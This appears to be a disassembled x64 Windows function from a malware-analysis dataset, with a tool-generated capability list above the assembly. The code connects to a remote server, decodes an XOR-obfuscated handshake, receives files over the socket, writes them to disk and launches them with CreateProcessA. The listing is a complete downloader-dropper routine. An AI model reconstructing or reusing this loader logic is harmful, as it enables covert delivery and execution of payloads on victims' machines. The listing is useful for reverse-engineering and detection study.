Function at 0x140001520
Capabilities:
Check if file exists
Connect socket
Convert ip address from string
Create directory
Create process on windows
Download and write a file
Encode data using xor
Get file attributes
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rsp + 0x578], rbx
mov rax, qword [0x140005020]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov r15, r8
mov r13, rdx
mov r14, rcx
mov ecx, 0x202
lea rdx, [rbp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ebx, ebx
cmp eax, 0xffffffff
je 0x140001589
test al, 0x10
jne 0x1400015c1
xor edx, edx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
test al, al
jne 0x1400015c1
mov ecx, ebx
mov rdx, rbx
movabs rdi, 0x473fe0f50
nop dword [rax]
lea eax, [rcx + 0x38]
mov byte [rdx + r14], al
inc ecx
movsxd rdx, ecx
cmp rdx, rdi
jl 0x1400015b0
mov edi, 2
mov ecx, 1
nop dword [rax + rax]
lea r8d, [rcx + 5]
mov edx, ecx
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001a35
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov word [rbp - 0x10], di
mov ecx, 0x1bb0
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0xe], ax
lea r8, [rbp - 0xc]
mov rdx, r14
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x10]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x140001938
mov dword [rbp + 0x1f0], 0xa9afaf0d
mov dword [rbp + 0x1f4], 0xa31413b4
mov dword [rbp + 0x1f8], 0xa2110b
lea rcx, [rbp + 0x1f0]
mov edx, recv
nop dword [rax]
movzx eax, byte [rcx]
xor al, 0x9b
add al, 0x65
xor al, 0x63
sub al, 0x63
xor al, 0x22
sub al, 0x22
xor al, 0x54
sub al, 0x54
mov byte [rcx], al
inc rcx
dec rdx
jne 0x140001660
mov rax, qword [rbp + 0x1f0]
mov qword [rbp], rax
mov eax, dword [rbp + 0x1f8]
mov dword [rbp + 8], eax
xor ecx, ecx
call qword [sym.imp.MSVCR100.dll__time64]
mov rcx, rax
call qword [sym.imp.MSVCR100.dll_srand]
mov rdi, rbx
call qword [sym.imp.MSVCR100.dll_rand]
mov byte [rbp + rdi + 0xc], al
inc rdi
cmp rdi, 0xc
jl 0x1400016a5
lea rdx, [rbp + 0xc]
lea rcx, [rbp]
call fcn.140001060
xor r9d, r9d
lea r8d, [r9 + 0x18]
lea rdx, [rbp]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400016e7
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov dword [rsp + 0x58], ebx
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x58]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000191f
test eax, eax
je 0x14000191f
mov eax, dword [rsp + 0x58]
test eax, eax
jle 0x14000191f
mov r12d, ebx
cmp r12d, eax
jge 0x140001951
mov dword [rsp + 0x5c], ebx
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x5c]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000191f
test eax, eax
je 0x14000191f
mov edi, dword [rsp + 0x5c]
test edi, edi
jle 0x14000191f
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x310]
call sub.MSVCR100.dll_memset
xor r9d, r9d
mov r8d, edi
lea rdx, [rbp + 0x310]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000191f
test eax, eax
je 0x14000191f
cmp dword [rsp + 0x5c], 0
jle 0x14000191f
mov dword [rsp + 0x50], ebx
xor r9d, r9d
lea r8d, [r9 + 4]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000191f
test eax, eax
je 0x14000191f
movsxd rax, dword [rsp + 0x50]
test eax, eax
jle 0x14000191f
mov edi, ebx
mov rcx, rax
call fcn.140002394
mov rbx, rax
mov ecx, dword [rsp + 0x50]
test ecx, ecx
jle 0x140001829
sub ecx, edi
mov eax, 0x400
cmp ecx, eax
cmovg ecx, eax
movsxd rdx, edi
add rdx, rbx
xor r9d, r9d
mov r8d, ecx
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
mov ecx, dword [rsp + 0x50]
cmp eax, 0xffffffff
je 0x140001827
test eax, eax
je 0x140001829
add edi, eax
cmp edi, ecx
jl 0x1400017f1
jmp 0x140001829
xor edi, edi
cmp edi, ecx
jne 0x1400018fb
mov byte [rbp + 0x200], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x201]
call sub.MSVCR100.dll_memset
lea rdi, [rbp + 0x200]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [r13 + rcx]
mov byte [rdi + rcx - 1], al
inc rcx
test al, al
jne 0x140001860
lea rdi, [rbp + 0x200]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdx, [rbp + 0x310]
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rdx + rcx]
mov byte [rdi + rcx - 1], al
inc rcx
test al, al
jne 0x140001890
mov word [rsp + 0x54], 0x6277
mov byte [rsp + 0x56], al
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0x200]
call qword [sym.imp.MSVCR100.dll_fopen]
mov rdi, rax
test rax, rax
je 0x1400018e4
movsxd rdx, dword [rsp + 0x50]
mov r9, rax
mov r8d, 1
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_fwrite]
mov rcx, rdi
call qword [sym.imp.MSVCR100.dll_fclose]
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void____ptr64_]
inc r12d
mov eax, dword [rsp + 0x58]
xor ebx, ebx
jmp 0x140001720
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void____ptr64_]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
jmp 0x1400015c1
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400015c1
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400015c6
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp - 0x80]
call sub.MSVCR100.dll_memset
mov dword [rbp - 0x80], 0x68
mov eax, 1
mov dword [rbp - 0x44], eax
mov word [rbp - 0x40], ax
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rbp + 0x18], recv
mov qword [rbp + 0x10], rbx
mov byte [rbp], al
or rcx, 0xffffffffffffffff
mov rdi, r13
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r13
lea rcx, [rbp]
call fcn.140001d80
nop
mov r8, r15
lea rdx, [rbp]
lea rcx, [rbp + 0x28]
call fcn.140002300
nop
cmp qword [rbp + 0x18], 0x10
jb 0x1400019d2
mov rcx, qword [rbp]
call qword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0x10
cmovae rdx, qword [rbp + 0x28]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001a24
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400019d2
cmp qword [rbp + 0x40], 0x10
jb 0x140001a35
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_]
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.1400023b0
mov rbx, qword [rsp + 0x578]
add rsp, 0x520
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret